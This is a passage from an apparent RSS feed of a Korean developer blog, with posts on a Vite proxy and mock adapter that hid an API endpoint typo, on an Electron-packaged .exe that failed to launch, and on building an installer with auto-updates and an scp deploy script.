<p>“env 문제인가?”, “build 설정에서 뭘 빼먹었나?” 하는 의심이 차례로 들기 시작했습니다.…</p>
</blockquote>
<hr>
<h3 id="🧪-3-브레이크-포인트-오타였다고">🧪 3. 브레이크 포인트: 오타였다고?</h3>
<p>개발 모드에선 잘 되던 이 코드:</p>
<pre><code class="language-tsx">
axios.post(`${API_BASE}/@@@@@/rest/getAlwCmmnExePrgList.do`)</code></pre>
<blockquote>
<p>배포 후에도 잘 될 줄 알았지. 하지만 실제 API는 이거였음:</p>
</blockquote>
<pre><code class="language-tsx">
axios.post(`${API_BASE}/@@@@/rest/getAllowWebList.do`)</code></pre>
<p>즉,</p>
<ul>
<li><code>getAlwCmmnExePrgList.do</code> → ❌ 오타</li>
<li><code>getAllowWebList.do</code> → ✅ 올바름</li>
</ul>
<hr>
<h3 id="🧙♀️-4-개발-모드에서는-왜-괜찮았냐면요">🧙‍♀️ 4. 개발 모드에서는 왜 괜찮았냐면요…</h3>
<h3 id="🌈-개발-모드-마법-세트">🌈 개발 모드 마법 세트</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Vite proxy</strong></td>
<td><code>/@@@@@/rest</code> → 실제 서버로 프록시 전달</td>
</tr>
<tr>
<td><strong>Mock Adapter</strong></td>
<td>요청 URL이 좀 틀려도 “있다고 친다”</td>
</tr>
<tr>
<td><strong>상대경로 호출</strong></td>
<td>브라우저에서 보내면 Vite가 뒷처리함</td>
</tr>
</tbody></table>
<p>👉 즉, <strong>오타가 있어도 mock이 받아줌</strong> → 데이터가 응답됨 → 난 문제를 눈치채지 못함...</p>
<h4 id="잠깐-vite-proxy가-뭐냐면요">잠깐! Vite Proxy가 뭐냐면요?</h4>
<blockquote>
<p>“개발 모드에서는 API 요청을 그냥 localhost로 보내도 잘 되던데요?”</p>
<p>그건 다 <strong>Vite의 <code>proxy</code> 기능 덕분</strong>입니다.</p>
</blockquote>
<h4 id="🎭-프록시란">🎭 프록시란?</h4>
<p>프록시는 <strong>중간에서 대신 요청을 전달해주는 대리인</strong>입니다.</p>
<p>즉, React 앱(렌더러)이 아래처럼 요청하더라도:</p>
<pre><code class="language-tsx">
axios.post(&#39;/@@@@@/rest/getAllowWebList.do&#39;, {...})</code></pre>
<p>브라우저는 그걸 <code>http://localhost:3000/@@@@@/rest/getAllowWebList.do</code>로 해석하고,</p>
<p>Vite dev server는 설정에 따라 <strong>실제 서버인</strong> <code>https://*******.com:8443</code>로 요청을 <strong>자동 전달</strong>합니다.</p>
<h4 id="🧪-개발-환경에서-proxy가-해주는-일">🧪 개발 환경에서 Proxy가 해주는 일</h4>
<pre><code class="language-tsx">
// vite.config.ts
server: {
  proxy: {
    &#39;/@@@@@/rest&#39;: {
      target: &#39;https://*******.com:8443&#39;,
      changeOrigin: true,
      secure: false,
    }
  }
}</code></pre>
<p>위 설정이 있다면 <code>/@@@@@@/rest/xxx.do</code>로 오는 요청을</p>
<p>모두 <code>https://*******.com:8443/@@@@@/rest/xxx.do</code>로 프록시해주는 것!</p>
<h3 id="😈-근데-배포exe-모드에서는">😈 근데 배포(EXE) 모드에서는?</h3>
<ul>
<li>Vite dev server가 없으니 proxy도 <strong>아예 작동 안 함</strong>.</li>
<li>상대경로(<code>/@@@@@/rest/...</code>)로 호출하면 브라우저는 그냥 <code>file://</code>에서 찾으려 하거나, 아예 URL을 못 찾음.</li>
<li>즉, <strong>프록시 없는 배포 환경에서는 절대경로(https://…)를 무조건 써야 함</strong>.</li>
</ul>
<hr>
<h3 id="💡-그래서-왜-문제가-생긴-걸까">💡 그래서 왜 문제가 생긴 걸까?</h3>
<ol>
<li>개발 모드에서는 <code>/####/rest/...</code> → Vite가 프록시로 넘겨줌 → 작동</li>
<li>배포 모드에서는 프록시 없음 → 요청이 날아가지 않거나, 404 에러</li>
</ol>
<hr>
<h3 id="💥-5-배포-후엔-왜-터졌냐면요">💥 5. 배포 후엔 왜 터졌냐면요…</h3>
<h3 id="🔥-배포exe-모드의-진실">🔥 배포(EXE) 모드의 진실</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>Vite dev server 없음 ❌</td>
<td>proxy 동작도 없음</td>
</tr>
<tr>
<td>mock adapter 없음 ❌</td>
<td>전부 실제 서버로 바로 감</td>
</tr>
<tr>
<td><code>__API_BASE__</code>는 실 URL로 치환됨</td>
<td>오타나면 바로 404 뜸</td>
</tr>
</tbody></table>
<p>그러니까...</p>
<ul>
<li><strong>개발 모드에선 오타도 응답이 오지만</strong>,</li>
<li><strong>배포 모드에선 진짜 서버가 404를 때려버림</strong></li>
</ul>
<hr>
<h3 id="🧯-6-해결한-방법-총정리">🧯 6. 해결한 방법 총정리</h3>
<table>
<thead>
<tr>
<th>해결 항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>✅ 엔드포인트 오타 수정</td>
<td><code>getAllowWebList.do</code>로 정정</td>
</tr>
<tr>
<td>✅ 환경변수 재정비</td>
<td><code>.env</code>, <code>.env.development</code> 각각 구성</td>
</tr>
<tr>
<td>✅ <code>define: { __API_BASE__ }</code> 방식으로 치환</td>
<td>빌드시 API URL 자동 반영</td>
</tr>
<tr>
<td>✅ mock adapter 제거하고 실제 요청 테스트</td>
<td>배포 전에도 실제 백엔드 호출 확인 습관화</td>
</tr>
</tbody></table>
<hr>
<h3 id="🤡-7-나의-실수-모음-반성의-표">🤡 7. 나의 실수 모음 (반성의 표)</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>실수 내용</th>
</tr>
</thead>
<tbody><tr>
<td>엔드포인트 오타</td>
<td><code>getAlwCmmnExePrgList.do</code> → 잘못된 명칭</td>
</tr>
<tr>
<td>mock에 너무 의존</td>
<td>오타도 통과되니 진짜 문제를 못 봄</td>
</tr>
<tr>
<td>개발용 proxy 신뢰</td>
<td>배포 환경에서 proxy는 없음! 절대 URL 필수</td>
</tr>
<tr>
<td>콘솔 확인 안함</td>
<td>axios 요청 실패도 제대로 로깅 안 함</td>
</tr>
</tbody></table>
<hr>
<h3 id="✨-8-얻은-교훈">✨ 8. 얻은 교훈</h3>
<blockquote>
<p>“개발 모드는 착한 척할 뿐, 진짜 배포에서 모든 게 드러난다.”</p>
</blockquote>
<ul>
<li>✅ <strong>엔드포인트는 반드시 백엔드 문서랑 대조해서 철자까지 정확히</strong></li>
<li>✅ <strong>배포 전에 mock 제거하고 실제 서버에 테스트</strong></li>
<li>✅ <strong>Vite proxy는 개발 전용이라는 걸 잊지 말 것</strong></li>
<li>✅ <strong>define 치환 방식으로 env 관리하면 실수 줄일 수 있음</strong></li>
</ul>
<hr>
<h3 id="🧠-덤-내-애착-env-설정">🧠 덤: 내 애착 env 설정</h3>
<pre><code>
# .env.development
VITE_API_BASE=http://localhost:3000

# .env (프로덕션)
VITE_API_BASE=https://********.com:844</code></pre><p>vite.config.ts</p>
<pre><code class="language-tsx">
define: {
  __API_BASE__: JSON.stringify(env.VITE_API_BASE),
}</code></pre>
<p>api.ts</p>
<pre><code class="language-tsx">
const API_BASE = __API_BASE__;

export function getAllowedWebsites(...) {
  return axios.post(`${API_BASE}/@@@@@@/rest/getAllowWebList.do`, ...);
}
</code></pre>
<hr>
<h3 id="🎉-마무리">🎉 마무리</h3>
<p>이제는 <code>.exe</code> 빌드만 하면 먹통 되는 이유를 안다!</p>
<p>다음에 비슷한 상황이 오면 <strong>무조건 3가지를 먼저 확인</strong>하자:</p>
<ol>
<li><strong>엔드포인트 오타나 환경변수 설정 실수는 배포 전 실서버로 반드시 검증하자</strong></li>
<li><strong>Vite define 치환은 빌드 시점에 고정되므로, 런타임 수정 불가</strong></li>
<li><strong>mock, proxy는 개발을 편하게 해주지만, 배포와는 완전히 다르다</strong></li>
</ol>
<p>이게 바로 <strong>개발 모드의 마법</strong>이 배포 모드에서 <strong>재앙이 되는 메커니즘 입니다.</strong></p>
<p>이 글이 비슷한 문제로 멘붕하는 분들께 도움이 되었으면 좋겠습니다 🙏</p>
<p>나처럼 안 헤매고 배포까지 쭉쭉 가세요! 🚀</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[🧨 "로컬에서는 잘 되는데요?" Electron 배포에서 터진 exe 실행 오류]]></title>
            <link>https://velog.io/@songyeonji_/%EB%A1%9C%EC%BB%AC%EC%97%90%EC%84%9C%EB%8A%94-%EC%9E%98-%EB%90%98%EB%8A%94%EB%8D%B0%EC%9A%94-Electron-%EB%B0%B0%ED%8F%AC%EC%97%90%EC%84%9C-%ED%84%B0%EC%A7%84-exe-%EC%8B%A4%ED%96%89-%EC%98%A4%EB%A5%98</link>
            <guid>https://velog.io/@songyeonji_/%EB%A1%9C%EC%BB%AC%EC%97%90%EC%84%9C%EB%8A%94-%EC%9E%98-%EB%90%98%EB%8A%94%EB%8D%B0%EC%9A%94-Electron-%EB%B0%B0%ED%8F%AC%EC%97%90%EC%84%9C-%ED%84%B0%EC%A7%84-exe-%EC%8B%A4%ED%96%89-%EC%98%A4%EB%A5%98</guid>
            <pubDate>Thu, 15 May 2025 07:19:32 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/8072a493-9ad4-44f0-81de-e87b8c02b648/image.png" alt=""></p>
<blockquote>
<p>로컬에서는 잘 되던 Engine.exe가</p>
<p>배포만 하면…</p>
<p>🥶 &quot;엔진 파이프에 연결되어 있지 않습니다.&quot;</p>
</blockquote>
<p>Electron으로 만든 데스크탑 앱을 <code>.exe</code>로 패키징해서 배포했을 때 있었던 실제 사건입니다.</p>
<hr>
<h3 id="🤔-로컬에서는-완벽했는데">🤔 “로컬에서는 완벽했는데…”</h3>
<p>분명 개발 중에는 아무 문제 없었습니다.</p>
<ul>
<li>엔진 잘 뜨고</li>
<li>Named Pipe도 잘 붙고</li>
<li>JSON 읽고 쓰고 삭제도 찰떡같이 되더니…</li>
</ul>
<p><strong>배포하면? 갑자기 연결이 안 됩니다.</strong></p>
<hr>
<h3 id="🔍-문제-1-asar-안에-들어간-exe는-못-실행합니다">🔍 문제 1: asar 안에 들어간 <code>exe</code>는 못 실행합니다</h3>
<p>처음엔 이렇게 코드를 짰었죠.</p>
<pre><code class="language-tsx">
const enginePath = path.join(__dirname, &#39;public&#39;, &#39;Engine.exe&#39;)</code></pre>
<p>로컬에서는 이게 잘 작동합니다.</p>
<p>하지만 Electron Builder가 배포용으로 빌드할 때는…</p>
<pre><code>
C:\Users\...\resources\app.asar\public\Engine.ex</code></pre><p><code>app.asar</code> 안에 압축돼버리죠.</p>
<p><strong>문제는 이 상태에서는 <code>.exe</code> 실행이 안 된다는 것!</strong></p>
<hr>
<h3 id="🛠-해결-1-extraresources--unpack-옵션-추가">🛠 해결 1: <code>extraResources + unpack</code> 옵션 추가</h3>
<p>그래서 이렇게 <code>electron-builder</code> 설정을 고쳤습니다.</p>
<pre><code class="language-json">
&quot;build&quot;: {
  &quot;extraResources&quot;: [
    {
      &quot;from&quot;: &quot;public&quot;,
      &quot;to&quot;: &quot;public&quot;,
      &quot;filter&quot;: [&quot;**/*&quot;],
      &quot;unpack&quot;: true}
  ]
</code></pre>
<p>그리고 코드에서 경로는 아래처럼 변경했습니다.</p>
<pre><code class="language-tsx">
const enginePath = path.join(process.resourcesPath, &#39;app.asar.unpacked&#39;, &#39;public&#39;, &#39;Engine.exe&#39;);</code></pre>
<p>이제 드디어 배포 버전에서도 <code>exe</code>가 실행될 줄 알았습니다.</p>
<p><strong>그런데...</strong></p>
<hr>
<h3 id="😡-문제-2-언팩도-했는데-여전히-안-돌아간다고요">😡 문제 2: 언팩도 했는데, 여전히 안 돌아간다고요?</h3>
<p>분명히 <code>app.asar.unpacked</code>에 잘 들어가 있는데도 실행이 안 되는 겁니다.</p>
<p>그래서 직접 <code>cmd</code>를 열어서 엔진 경로로 가서 실행해봤습니다.</p>
<pre><code>
cd C:\Users\...\resources\app.asar.unpacked\public\
./seph_engine.exe</code></pre><blockquote>
<p>어랏? 🤯 수동 실행은 되네?</p>
</blockquote>
<p><strong>그러니까 문제는 <code>파일이 없어서가 아니라 Electron이 실행을 못 시킨다</code>는 거였던 겁니다.</strong></p>
<hr>
<h3 id="📦-배포하고-spawn-호출했더니">📦 배포하고 <code>spawn</code> 호출했더니?</h3>
<p><strong>아무 일도 일어나지 않았습니다.</strong></p>
<p>아무런 에러도 없이, 아무것도 실행되지 않는 <code>spawn</code>.</p>
<pre><code class="language-tsx">
Logger.info(`[ENGINE] spawn 성공, PID: ${engineProcess.pid}`);</code></pre>
<blockquote>
<p>PID: undefined 👀</p>
<p>아니 뭐…?</p>
</blockquote>
<hr>
<h3 id="😡-엔진이-죽었습니다">😡 “엔진이 죽었습니다”</h3>
<p>엔진이 안 돌아가니 Pipe도 연결이 안 됩니다.</p>
<pre><code>
[PIPE] reqClient가 null입니다.
[PIPE] reqClient는 writable하지 않습니다.</code></pre><p>그리고 사용자에게는 이런 메시지로 가죠.</p>
<blockquote>
<p>⚠️ “엔진 파이프에 연결되어 있지 않습니다.”</p>
</blockquote>
<hr>
<h3 id="🔬-디버깅-시작-spawn이-문제였다고">🔬 디버깅 시작: spawn이 문제였다고?</h3>
<p>Electron에서 <code>spawn()</code>은 외부 실행파일을 직접 실행합니다.</p>
<p>하지만 <strong>배포 버전에서는 보안 정책 + 경로 문제 + 권한 문제</strong>로 인해…</p>
<blockquote>
<p>💣 &quot;spawn이 작동 안 합니다&quot;</p>
</blockquote>
<p>심지어 경로도 완벽하게 언팩해놨는데요?</p>
<pre><code>
C:\Users\me\AppData\Local\Programs\MyApp\resources\app.asar.unpacked\public\seph_engine.exe</code></pre><p>이거를 수동으로 <code>cmd</code>에서 실행하면 <strong>되는데요?!</strong></p>
<p>Electron만 못합니다 😱</p>
<hr>
<h3 id="🛠-해결-2-그래서-결국-execstart-b로-해결했습니다">🛠 해결 2: 그래서 결국 <code>exec(&quot;start /B&quot;)</code>로 해결했습니다</h3>
<pre><code class="language-tsx">
const command = `start /B &quot;&quot; &quot;${enginePath}&quot;`;
exec(command, { cwd: engineDir, windowsHide: true });</code></pre>
<p><code>start /B</code>는 윈도우 CMD 명령어로 <strong>&quot;CMD에서 백그라운드로 실행하라&quot;</strong>는 뜻입니다.</p>
<p>Electron이 직접 실행하진 않지만, <strong>CMD가 대신 실행해주는 방식</strong>입니다.</p>
<p>윈도우에서는 이게 오히려 더 확실하게 실행되더군요.</p>
<blockquote>
<p>✔️ 그리고 이 방법으로 드디어 배포에서도 완벽하게 돌아갔습니다!</p>
</blockquote>
<hr>
<h3 id="✨-최종-요약">✨ 최종 요약</h3>
<table>
<thead>
<tr>
<th>문제</th>
<th>해결 방법</th>
</tr>
</thead>
<tbody><tr>
<td><code>.exe</code> 실행 실패</td>
<td><code>app.asar.unpacked</code>에 넣기 + <code>process.resourcesPath</code> 사용</td>
</tr>
<tr>
<td>실행은 되는데 Electron이 못 실행함</td>
<td><code>exec(&quot;start /B ...&quot;)</code> 방식으로 CMD 강제 실행</td>
</tr>
</tbody></table>
<hr>
<h3 id="😅-마무리하며">😅 마무리하며</h3>
<p>개발자 여러분…</p>
<blockquote>
<p>“로컬에서는 잘 됐습니다만…”</p>
</blockquote>
<p>이 말, 이제 입에 올리지 맙시다…</p>
<p>Electron은 배포가 반입니다. 아니, 배포가 진짜 전쟁입니다. 🪖</p>
<p>혹시 여러분도 배포에서 <code>.exe</code> 실행이 안 돼서 고통받고 계신다면</p>
<p>위 방법 꼭 시도해보세요. 제 반나절을 아낄 수 있습니다 🙏</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[💾 설치파일... 주세요? 그래서 진짜 `.exe` 만들고 자동 업데이트까지 해봤습니다]]></title>
            <link>https://velog.io/@songyeonji_/%EC%84%A4%EC%B9%98%ED%8C%8C%EC%9D%BC...-%EC%A3%BC%EC%84%B8%EC%9A%94-%EA%B7%B8%EB%9E%98%EC%84%9C-%EC%A7%84%EC%A7%9C-.exe-%EB%A7%8C%EB%93%A4%EA%B3%A0-%EC%9E%90%EB%8F%99-%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8%EA%B9%8C%EC%A7%80-%ED%95%B4%EB%B4%A4%EC%8A%B5%EB%8B%88%EB%8B%A4</link>
            <guid>https://velog.io/@songyeonji_/%EC%84%A4%EC%B9%98%ED%8C%8C%EC%9D%BC...-%EC%A3%BC%EC%84%B8%EC%9A%94-%EA%B7%B8%EB%9E%98%EC%84%9C-%EC%A7%84%EC%A7%9C-.exe-%EB%A7%8C%EB%93%A4%EA%B3%A0-%EC%9E%90%EB%8F%99-%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8%EA%B9%8C%EC%A7%80-%ED%95%B4%EB%B4%A4%EC%8A%B5%EB%8B%88%EB%8B%A4</guid>
            <pubDate>Thu, 08 May 2025 01:39:46 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/2a090c57-f8e1-4da0-be55-fd98692f5918/image.png" alt=""></p>
<p>Electron으로 앱을 개발하고 있었습니다.</p>
<p>기능도 제법 잘 돌아가고, UI도 다듬어지고, &quot;이제 좀 완성 느낌 난다&quot; 싶은 그 타이밍.</p>
<p>그런데요.</p>
<p>누군가 아주 가볍게,</p>
<p><strong>정말 아무렇지도 않게</strong> 말하더군요.</p>
<blockquote>
<p>&quot;설치파일 주세요~ 😊&quot;</p>
</blockquote>
<p>...</p>
<p>머릿속으로 이렇게 외쳤습니다:</p>
<blockquote>
<p>“드… 드린다고 했는데… 그걸 내가 만든 적이 있었나…?”</p>
</blockquote>
<hr>
<h2 id="🤯-배포-그-이름만-들어도">🤯 배포, 그 이름만 들어도</h2>
<p>React, Vite, Electron 조합으로 데스크탑 앱을 개발하던 저는</p>
<p>기능 구현, UI 구성, 상태 관리까지 자신 있었지만</p>
<p><strong>&quot;설치 파일 만들기&quot;</strong>,</p>
<p>그건 뭔가 <strong>건들면 안 될 것 같은 금단의 영역</strong>처럼 느껴졌습니다.</p>
<p>왠지 진입하면,</p>
<ul>
<li>뭔가 Windows 98 느낌 나는 인스톨 마법사를 만들어야 할 것 같고</li>
<li>빌드하려면 인증서부터 발급받아야 할 것 같고</li>
<li>깔고 나면 레지스트리 지워야 할 것 같고</li>
</ul>
<p>...그랬습니다.</p>
<p>그.런.데.</p>
<p>막상 해보니?</p>
<blockquote>
<p>세상 간단합니다.</p>
</blockquote>
<p>이제 저도 말합니다:</p>
<blockquote>
<p>“테스트요? 설치파일 있으니 실행만 해보세요~ 😉”</p>
</blockquote>
<hr>
<h2 id="🎯-목표-설치부터-업데이트까지">🎯 목표: 설치부터 업데이트까지</h2>
<p>제가 해결한 목표는 아래와 같았습니다:</p>
<ul>
<li>Electron 앱을 <code>.exe</code> 설치 파일로 패키징</li>
<li>더블클릭으로 설치, 시작메뉴/바탕화면 등록</li>
<li>다음 버전 배포 시 별도 안내 없이 <strong>자동 업데이트 적용</strong></li>
<li>배포 파일을 수동으로 옮기지 않고 <strong>자동으로 서버에 올리기</strong></li>
<li>내부망에서만 접근 가능한 서버에 안전하게 구성</li>
</ul>
<hr>
<h2 id="🛠-기술-스택">🛠 기술 스택</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>프론트엔드</td>
<td>React + Vite</td>
</tr>
<tr>
<td>데스크탑 통합</td>
<td>Electron + <code>vite-plugin-electron</code></td>
</tr>
<tr>
<td>상태관리</td>
<td>Zustand</td>
</tr>
<tr>
<td>빌드 도구</td>
<td><code>electron-builder</code></td>
</tr>
<tr>
<td>자동 업데이트</td>
<td><code>electron-updater</code>, <code>electron-log</code></td>
</tr>
<tr>
<td>배포 자동화</td>
<td>Node.js 스크립트 + <code>scp</code></td>
</tr>
<tr>
<td>배포 서버</td>
<td>사내망 HTTP 서버 (ex. <code>http://192.168.x.x:8000/updates/</code>)</td>
</tr>
</tbody></table>
<hr>
<h2 id="🧱-디렉토리-구조-요약">🧱 디렉토리 구조 (요약)</h2>
<pre><code>
project-root/
├── src/                    # React 앱 코드
├── electron/
│   ├── main.ts            # Electron 진입점
│   └── preload.ts         # Preload 스크립트
├── dist/                  # Vite 빌드 결과물
├── dist-electron/         # Electron 빌드 결과물
├── release/               # 설치파일 및 자동업데이트 파일
├── scripts/deploy.js      # 배포 자동화 스크립트
└── vite.config.ts</code></pre><hr>
<h2 id="⚠️-흰-화면-지옥에서-살아남는-법">⚠️ 흰 화면 지옥에서 살아남는 법</h2>
<p>Electron에서 자주 겪는 문제 중 하나가 이겁니다:</p>
<blockquote>
<p>빌드도 잘 되고 .exe도 잘 실행되는데…</p>
<p>창이 뜨긴 떴는데 아무것도 안 나옴 😱</p>
</blockquote>
<h3 id="✅-원인-99-경로-설정-실수">✅ 원인 99%: 경로 설정 실수</h3>
<p>Electron은 브라우저처럼 public 경로가 없습니다.</p>
<p>정확하게 경로를 잡아주지 않으면 <strong>로딩 실패 + 흰 화면</strong>이 발생합니다.</p>
<h3 id="🧩-해결법">🧩 해결법</h3>
<pre><code class="language-tsx">
// main.ts
const startUrl = process.env.NODE_ENV === &#39;development&#39;
  ? &#39;http://localhost:3000&#39;
  : url.format({
      pathname: path.join(__dirname, &#39;../../dist/index.html&#39;),
      protocol: &#39;file:&#39;,
      slashes: true
    });
</code></pre>
<h3 id="✅-추가-vite-설정도-꼭">✅ 추가: Vite 설정도 꼭</h3>
<pre><code class="language-tsx">
// vite.config.ts
export default defineConfig({
  base: &#39;./&#39;, // 이거 안 넣으면 JS, CSS 못 불러옴
})</code></pre>
<hr>
<h2 id="🔄-자동-업데이트-구현-생각보다-쉽습니다">🔄 자동 업데이트 구현: 생각보다 쉽습니다</h2>
<p>자동 업데이트를 위해 <code>electron-updater</code>와 <code>electron-log</code>만 설치하면 됩니다:</p>
<pre><code class="language-bash">
npm install electron-updater electron-log</code></pre>
<h3 id="핵심-코드-maints">핵심 코드 (<code>main.ts</code>)</h3>
<pre><code class="language-tsx">
import { autoUpdater } from &#39;electron-updater&#39;;
import log from &#39;electron-log&#39;;

log.transports.file.level = &#39;info&#39;;
autoUpdater.logger = log;

autoUpdater.checkForUpdatesAndNotify();

autoUpdater.on(&#39;update-downloaded&#39;, () =&gt; {
  autoUpdater.quitAndInstall(); // 앱 꺼지고 재시작됨
});</code></pre>
<h3 id="packagejson-설정"><code>package.json</code> 설정</h3>
<pre><code class="language-json">
&quot;build&quot;: {
  &quot;publish&quot;: {
    &quot;provider&quot;: &quot;generic&quot;,
    &quot;url&quot;: &quot;http://192.168.0.100:8000/updates/&quot; // 내부 서버 주소
  }
}</code></pre>
<p>자동으로 <code>latest.yml</code>을 기준으로 새 버전이 있으면 다운로드 + 재설치까지 해줍니다.</p>
<hr>
<h2 id="📦-배포-폴더-구성">📦 배포 폴더 구성</h2>
<p>빌드 완료 후 <code>release/</code> 폴더에는 다음 파일이 생깁니다:</p>
<pre><code>
release/
├── MyApp Setup 1.0.0.exe     ← 설치용
├── MyApp-1.0.0.exe           ← 자동 업데이트용
├── latest.yml                ← 업데이트 메타 정보</code></pre><p>이 세 파일을 서버에 올려두면 자동 업데이트가 됩니다.</p>
<hr>
<h2 id="🚀-배포-자동화-스크립트">🚀 배포 자동화 스크립트</h2>
<p>수동으로 서버에 옮기지 않고, 배포를 자동화했습니다.</p>
<h3 id="📁-scriptsdeployjs">📁 <code>scripts/deploy.js</code></h3>
<pre><code class="language-tsx">
const { execSync } = require(&#39;child_process&#39;);

const files = [&#39;latest.yml&#39;, &#39;MyApp Setup 1.0.0.exe&#39;, &#39;MyApp-1.0.0.exe&#39;];
const server = &#39;user@192.168.x.x&#39;;
const remote = &#39;/var/www/updates/&#39;;

files.forEach(file =&gt; {
  console.log(`[배포 중] ${file}`);
  execSync(`scp release/&quot;${file}&quot; ${server}:${remote}`);
});
</code></pre>
<h3 id="실행-방법">실행 방법</h3>
<pre><code class="language-bash">
npm run electron:build
node scripts/deploy.js</code></pre>
<p>빌드하고 배포까지 <strong>30초 안에 끝납니다.</strong></p>
<p>설치파일 요청 들어오면 이제 <strong>“잠깐만요, 바로 올릴게요”</strong> 하면 됩니다.</p>
<h2 id="🤖-그런데-자동-업데이트는-도대체-왜-자동으로-되는-걸까요">🤖 그런데 자동 업데이트는 도대체 왜 자동으로 되는 걸까요?</h2>
<p>Electron 앱이 자동 업데이트를 할 수 있는 건,</p>
<p><strong><code>electron-updater</code>와 <code>electron-builder</code>가 아주 잘 짜여진 규칙을 공유하고 있기 때문입니다.</strong></p>
<p>이 시스템은 아래처럼 작동합니다:</p>
<ol>
<li>앱 실행 시, <code>autoUpdater.checkForUpdatesAndNotify()</code>를 호출하면</li>
<li>설정된 서버 주소(<code>publish.url</code>)에 있는 <code>latest.yml</code> 파일을 다운로드합니다.</li>
<li>이 <code>latest.yml</code>에는 현재 배포 중인 최신 버전 정보가 들어 있습니다.</li>
</ol>
<pre><code>
version: 1.0.1
path: MyApp Setup 1.0.1.exe
sha512: &lt;무결성 검사용 해시&gt;</code></pre><ol>
<li><p>앱의 <code>package.json</code>에 명시된 현재 버전과 비교해서,</p>
</li>
<li><p>최신 버전이 더 높으면 <code>path</code>에 명시된 <code>.exe</code>를 다운로드하고</p>
</li>
<li><p>사용자가 앱을 종료하면 <code>autoUpdater.quitAndInstall()</code>을 통해</p>
<p> <strong>새 설치파일이 자동으로 실행되고 기존 앱은 교체됩니다.</strong></p>
</li>
</ol>
<hr>
<h3 id="✅-이게-가능한-이유는">✅ 이게 가능한 이유는?</h3>
<ul>
<li><p><code>electron-builder</code>가 빌드할 때 자동으로 <code>latest.yml</code>과 버전별 <code>.exe</code>를 생성해줍니다.</p>
</li>
<li><p><code>electron-updater</code>는 이 <code>latest.yml</code>의 구조를 정확히 이해하고 다운로드 + 설치까지 처리합니다.</p>
</li>
<li><p>그리고 우리는 그저… 버전만 올리고, 서버에 올리면 끝.</p>
<blockquote>
<p>즉, 우리가 자동화한 건 배포고, Electron이 자동화해준 건 업데이트 로직입니다.</p>
</blockquote>
</li>
</ul>
<hr>
<h3 id="📦-요약하면-이렇게-됩니다">📦 요약하면 이렇게 됩니다:</h3>
<table>
<thead>
<tr>
<th>구성 요소</th>
<th>역할</th>
</tr>
</thead>
<tbody><tr>
<td><code>latest.yml</code></td>
<td>최신 버전 메타정보 제공</td>
</tr>
<tr>
<td><code>electron-updater</code></td>
<td>버전 비교 + 다운로드 + 설치</td>
</tr>
<tr>
<td><code>electron-builder</code></td>
<td><code>.exe</code>, <code>latest.yml</code> 자동 생성</td>
</tr>
<tr>
<td>내 배포 스크립트</td>
<td>서버 업로드 자동화 (<code>scp</code>)</td>
</tr>
<tr>
<td>사용자는</td>
<td>그냥 실행만 하면 알아서 최신으로 업데이트됨</td>
</tr>
</tbody></table>
<hr>
<h2 id="👀-실무-팁-모음">👀 실무 팁 모음</h2>
<ul>
<li><strong><code>appId</code>는 고정값</strong>이어야 자동 업데이트가 정확히 동작합니다.</li>
<li><code>version</code> 필드는 반드시 수동으로 올려야 합니다 (자동 업데이트 비교용).</li>
<li><code>win.target: &#39;nsis&#39;</code>는 설치 마법사를 만들어줍니다.</li>
<li><code>autoUpdater.checkForUpdatesAndNotify()</code>는 앱 실행할 때마다 업데이트 체크합니다.</li>
<li>사용자 로그는 <code>electron-log</code>로 남기면 <code>/AppData/Local/...</code> 에 자동 저장됩니다.</li>
</ul>
<hr>
<h3 id="❓-글을-본-사람들이-추가로-궁금해할-수-있는-질문들">❓ 글을 본 사람들이 추가로 궁금해할 수 있는 질문들</h3>
<h3 id="1-이거-github-같은-공개-저장소-없어도-되나요">1. <strong>“이거 GitHub 같은 공개 저장소 없어도 되나요?”</strong></h3>
<blockquote>
<p>네, electron-updater는 GitHub를 기본으로 삼지만</p>
<p><code>provider: &quot;generic&quot;</code>을 쓰면 내부망 서버나 로컬 서버에서도 완벽히 작동합니다.</p>
<p>심지어 사설 IP나 사내 파일서버도 OK입니다.</p>
</blockquote>
<hr>
<h3 id="2-setupexe랑-100exe-차이는-뭐예요">2. <strong>“<code>Setup.exe</code>랑 <code>1.0.0.exe</code> 차이는 뭐예요?”</strong></h3>
<blockquote>
<p>Setup.exe: 사용자가 처음 설치할 때 쓰는 전체 설치파일MyApp-1.0.0.exe: 자동 업데이트용 패치 파일 (silent install용)</p>
<p>자동 업데이트는 이 작은 <code>-버전.exe</code>만 다운로드해서 설치합니다.</p>
</blockquote>
<hr>
<h3 id="3-버전은-어떻게-인식해요">3. <strong>“버전은 어떻게 인식해요?”</strong></h3>
<blockquote>
<p>package.json의 &quot;version&quot;: &quot;1.0.1&quot; 값을 사용합니다.</p>
<p>자동 업데이트는 <code>latest.yml</code>의 버전과 비교해서</p>
<p>현재 앱보다 높은 버전이면 실행됩니다.</p>
<p><strong>버전 안 올리고 배포하면 업데이트 안 됩니다.</strong></p>
</blockquote>
<hr>
<h3 id="4-설치파일-설치하면-어디에-설치돼요">4. <strong>“설치파일 설치하면 어디에 설치돼요?”</strong></h3>
<blockquote>
<p>기본적으로 Windows의</p>
<p><code>C:\Users\{username}\AppData\Local\Programs\MyApp\</code> 경로에 설치됩니다.</p>
<p><code>electron-builder</code>에서 <code>installDirectory</code>, 아이콘, 실행 권한 등도 설정 가능합니다.</p>
</blockquote>
<hr>
<h3 id="5-앱-아이콘은-어떻게-바꿔요">5. <strong>“앱 아이콘은 어떻게 바꿔요?”</strong></h3>
<blockquote>
<p>build 설정에 .ico 파일을 지정하면 됩니다.</p>
</blockquote>
<pre><code class="language-json">
&quot;build&quot;: {
  &quot;win&quot;: {
    &quot;icon&quot;: &quot;public/icon.ico&quot;
  }
</code></pre>
<hr>
